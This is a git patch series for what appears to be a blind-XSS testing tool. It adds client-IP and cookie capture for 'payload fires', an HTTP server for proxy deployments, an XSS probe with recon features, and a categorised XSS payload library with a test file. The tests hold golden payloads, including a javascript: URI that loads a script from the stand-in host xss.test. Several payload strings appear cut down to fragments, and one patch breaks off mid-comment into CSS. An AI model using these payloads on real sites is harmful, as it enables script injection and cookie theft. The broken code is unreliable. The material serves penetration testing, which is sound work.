From 43e19827187e8d750f6823125d64ce5483f7aa46 Mon Sep 17 00:00:00 2001 From: Davide Guerri Date: Wed, 28 Jan 2026 22:24:03 +0100 Subject: [PATCH 1/9] Use req.ip for client IP to support reverse proxies --- app.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app.js b/app.js index 358a5e0..1b67fe1 100644 --- a/app.js +++ b/app.js @@ -205,7 +205,7 @@ async function get_app_server() { var payload_fire_data = { id: payload_fire_id, url: req.body.uri, - ip_address: req.connection.remoteAddress.toString(), + ip_address: (req.ip || req.connection.remoteAddress).toString(), referer: req.body.referrer, user_agent: req.body['user-agent'], cookies: req.body.cookies, From a12bfeb772b87285471a9d7c6d4968c4a637bc19 Mon Sep 17 00:00:00 2001 From: Davide Guerri Date: Wed, 28 Jan 2026 22:24:12 +0100 Subject: [PATCH 2/9] Add HTTP-only server for reverse proxy deployments --- server-http.js | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 server-http.js diff --git a/server-http.js b/server-http.js new file mode 100644 index 0000000..efd4f36 --- /dev/null +++ b/server-http.js @@ -0,0 +1,28 @@ +'use strict'; + +const express = require('express'); +const get_app_server = require('./app.js'); +const database = require('./database.js'); + +const PORT = process.env.PORT || 3000; + +(async () => { + await database.database_init(); + + const wrapper = express(); + wrapper.set('trust proxy', true); + + wrapper.use((req, res, next) => { + if (req.path !== '/health') { + req.connection.proxySecure = true; + } + next(); + }); + + const app = await get_app_server(); + wrapper.use(app); + + wrapper.listen(PORT, '0.0.0.0', () => { + console.log(`[INFO] Server listening on port ${PORT}`); + }); +})(); From 991f66b32bf88b3d66896e0140add3db9d25a82a Mon Sep 17 00:00:00 2001 From: Davide Guerri Date: Sat, 21 Mar 2026 18:29:23 +0100 Subject: [PATCH 3/9] feat(probe): enhance XSS probe with security recon capabilities Add several new functions and improvements to the XSS probe script: - Add `strip_event_handlers_from_dom()` to remove inline event handlers, `"> + // will re-trigger the probe inside the clone, causing an infinite loop. + try { + // 1. Remove all \ No newline at end of file +.payload-note { + color: #d3d3d7; + font-size: 0.9rem; +} +.payload-note-label { + font-weight: bold; +} + diff --git a/front-end/test/payloads.test.js b/front-end/test/payloads.test.js new file mode 100644 index 0000000..01d1ef6 --- /dev/null +++ b/front-end/test/payloads.test.js @@ -0,0 +1,137 @@ +const payloads_module = require('../src/libs/payloads.js'); + +const DOMAIN = 'xss.test'; +const { payloads, categories, helpers } = payloads_module; + +const ALLOWED_CATEGORY_IDS = ['attribute_breakout', 'uri_based', 'waf_bypass', 'dom_based']; + +let passed = 0; + +function check(name, condition) { + if (!condition) { + throw new Error('FAILED: ' + name); + } + passed += 1; + console.log('ok - ' + name); +} + +// Module shape +check('module exports payloads array', Array.isArray(payloads)); +check('module exports categories array', Array.isArray(categories)); +check('module exports helpers', typeof helpers === 'object' && helpers !== null); + +// Categories +check('categories have expected order', categories.map((c) => c.id).join(',') === + 'attribute_breakout,uri_based,waf_bypass,dom_based,all'); +categories.forEach((category) => { + check('category ' + category.id + ' has label', typeof category.label === 'string' && category.label.length > 0); +}); + +// Every payload entry is complete +payloads.forEach((payload) => { + const label = payload.id; + check(label + ' has id', typeof payload.id === 'string' && payload.id.length > 0); + check(label + ' has valid category', ALLOWED_CATEGORY_IDS.indexOf(payload.category) !== -1); + check(label + ' has title', typeof payload.title === 'string' && payload.title.length > 0); + check(label + ' has description', typeof payload.description === 'string' && payload.description.length > 0); + check(label + ' func returns string', typeof payload.func === 'function' && typeof payload.func(DOMAIN) === 'string'); + check(label + ' has example', typeof payload.example === 'string' && payload.example.length > 0); + check(label + ' has caveats', typeof payload.caveats === 'string' && payload.caveats.length > 0); + check(label + ' has when', typeof payload.when === 'string' && payload.when.length > 0); +}); + +// Existing payloads preserved (golden values) +const by_id = {}; +payloads.forEach((p) => { by_id[p.id] = p; }); + +check('basic_script golden', by_id.basic_script.func(DOMAIN) === + '">'); +check('jquery_chainload golden', by_id.jquery_chainload.func(DOMAIN) === + ''); +check('xmlhttprequest_load golden', by_id.xmlhttprequest_load.func(DOMAIN) === + ''); +check('javascript_uri golden', by_id.javascript_uri.func(DOMAIN) === + "javascript:eval('var a=document.createElement(\\'script\\');a.src=\\'https://xss.test\\';document.body.appendChild(a)')"); +check('input_onfocus golden', by_id.input_onfocus.func(DOMAIN) === + '">'); +check('image_onerror golden', by_id.image_onerror.func(DOMAIN) === + '">'); +check('video_source golden', by_id.video_source.func(DOMAIN) === + '">